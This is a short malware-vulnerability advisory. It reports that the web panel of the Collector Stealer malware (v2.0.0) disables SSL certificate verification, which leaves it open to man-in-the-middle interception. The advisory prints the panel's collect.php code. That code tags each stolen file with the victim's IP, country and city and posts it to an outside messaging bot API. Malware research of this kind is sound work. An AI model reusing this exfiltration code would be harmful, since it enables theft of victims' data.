CollectorStealerBuilder Panel 2.0.0 Man-In-The-Middle

The panel for Collector Stealer malware version 2.0.0 suffers from a man-in-the-middle vulnerability.

MD5 | 78d4972e4013313c7d6d598a0bb2c3dc

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data to "" has CURLOPT_SSL_VERIFYPEER set to false. CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: " . $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] . "\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "" . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" => $document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);

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